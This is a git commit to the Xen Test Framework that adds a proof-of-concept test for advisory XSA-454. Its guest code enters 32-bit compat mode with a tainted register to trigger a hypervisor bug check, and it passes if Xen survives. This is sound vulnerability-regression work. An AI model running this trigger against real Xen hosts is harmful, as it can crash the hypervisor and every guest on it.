]> xenbits.xensource.com Git - xtf.git/commitdiff
XSA-454 PoC
authorManuel Andreas <manuel.andreas@tum.de>
Thu, 11 Apr 2024 15:58:51 +0000 (16:58 +0100)
committerAndrew Cooper <andrew.cooper3@citrix.com>
Thu, 25 Jul 2024 01:00:13 +0000 (02:00 +0100)
Original PoC from Manuel.  Adjusted to XTF norms by myself.

Signed-off-by: Manuel Andreas <manuel.andreas@tum.de>
Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
docs/all-tests.dox
include/xen/memory.h
tests/xsa-454/Makefile [new file with mode: 0644]
tests/xsa-454/main.c [new file with mode: 0644]

index ab88c15c2b9f364daf96ce6d9b79189f816bb701..0a8b9130cfe8163f7f8cd5a015e685003b0c60a9 100644 (file)
@@ -169,6 +169,8 @@ states.
 
 @subpage test-xsa-451 - x86: shadow stack vs exceptions from emulation stubs.
 
+@subpage test-xsa-454 - x86 HVM hypercalls may trigger Xen bug check.
+
 
 @section index-utility Utilities
 
index 37ed16f04aea993d9c91fccaf3737d0742aef443..8056dd2eb50ad67f58a561bd29bed4af439ae26b 100644 (file)
@@ -17,6 +17,8 @@ struct xen_memory_reservation {
     domid_t domid;
 };
 
+#define XENMEM_maximum_ram_page     2
+
 #define XENMEM_add_to_physmap       7
 
 struct xen_add_to_physmap {
diff --git a/tests/xsa-454/Makefile b/tests/xsa-454/Makefile
new file mode 100644 (file)
index 0000000..82489d3
--- /dev/null
@@ -0,0 +1,9 @@
+include $(ROOT)/build/common.mk
+
+NAME      := xsa-454
+CATEGORY  := xsa
+TEST-ENVS := hvm64
+
+obj-perenv += main.o
+
+include $(ROOT)/build/gen.mk
diff --git a/tests/xsa-454/main.c b/tests/xsa-454/main.c
new file mode 100644 (file)
index 0000000..b9454b2
--- /dev/null
@@ -0,0 +1,79 @@
+/**
+ * @file tests/xsa-454/main.c
+ * @ref test-xsa-454
+ *
+ * @page test-xsa-454 XSA-454
+ *
+ * Advisory: [XSA-454](https://xenbits.xen.org/xsa/advisory-454.html)
+ *
+ * Intel and AMD both state that upper half of the GPRs are undefined after
+ * leaving 64bit mode.  Despite this, they're typically preserved until the
+ * next explicit write of the GPR, because this is the simplest strategy.
+ *
+ * At the time of XSA-454, HYPERCALL_memory_op()'s compatibility handler makes
+ * an unconditional hypercall continuation after the native handler returns,
+ * in order to simplify later logic in some subops.
+ *
+ * This means that hypercall_xlat_continuation() can the preserved upper bits
+ * of the GPRs while the vCPU is compatibility mode, and it makes some
+ * incorrect assertions about GPR state using BUG_ON().
+ *
+ * Pick a simple subop (XENMEM_maximum_ram_page takes no argument) and set an
+ * upper bit in @%rbx (becomes the cmd parameter in Xen).  This is sufficient
+ * to trigger the bad BUG_ON().
+ *
+ * Note: The fixes for XSA-454 both truncated all registers for compatibility
+ * mode guests, and swapped the BUG_ON() for a domain_crash().  This test
+ * can't distinguish between domain_crash() and BUG_ON(), but as both patches
+ * were taken together, this shouldn't matter.
+ *
+ * @see tests/xsa-454/main.c
+ */
+#include <xtf.h>
+
+const char test_title[] = "XSA-454 PoC";
+
+void test_main(void)
+{
+    unsigned long tmp;
+
+    /* Allow us to use the stack in __KERN_CS32 */
+    write_ss(GDTE_DS32_DPL0 << 3);
+
+    asm volatile (/* Drop into a 32bit compat code segment. */
+                  "push $%c[cs32];"
+                  "push $1f;"
+                  "lretq; 1:"
+
+                  ".code32;"
+                  "start_32bit:;"
+
+                  /* Compat hypercall_memory_op(XENMEM_maximum_ram_page, NULL); */
+                  "call HYPERCALL_memory_op;"
+
+                  /* Return to 64bit. */
+                  "ljmpl $%c[cs], $1f;"
+                  "end_32bit:;"
+
+                  ".code64; 1:"
+                  : "=a" (tmp),
+                    "=b" (tmp),
+                    "=c" (tmp)
+                  : "b" (XENMEM_maximum_ram_page | (1UL << 32)),
+                    "c" (NULL),
+                    [cs32] "i" (__KERN_CS32),
+                    [cs]   "i" (__KERN_CS));
+
+    /* If Xen is still alive, it didn't hit a BUG(). */
+    xtf_success("Success: Not vulnerable to XSA-454\n");
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */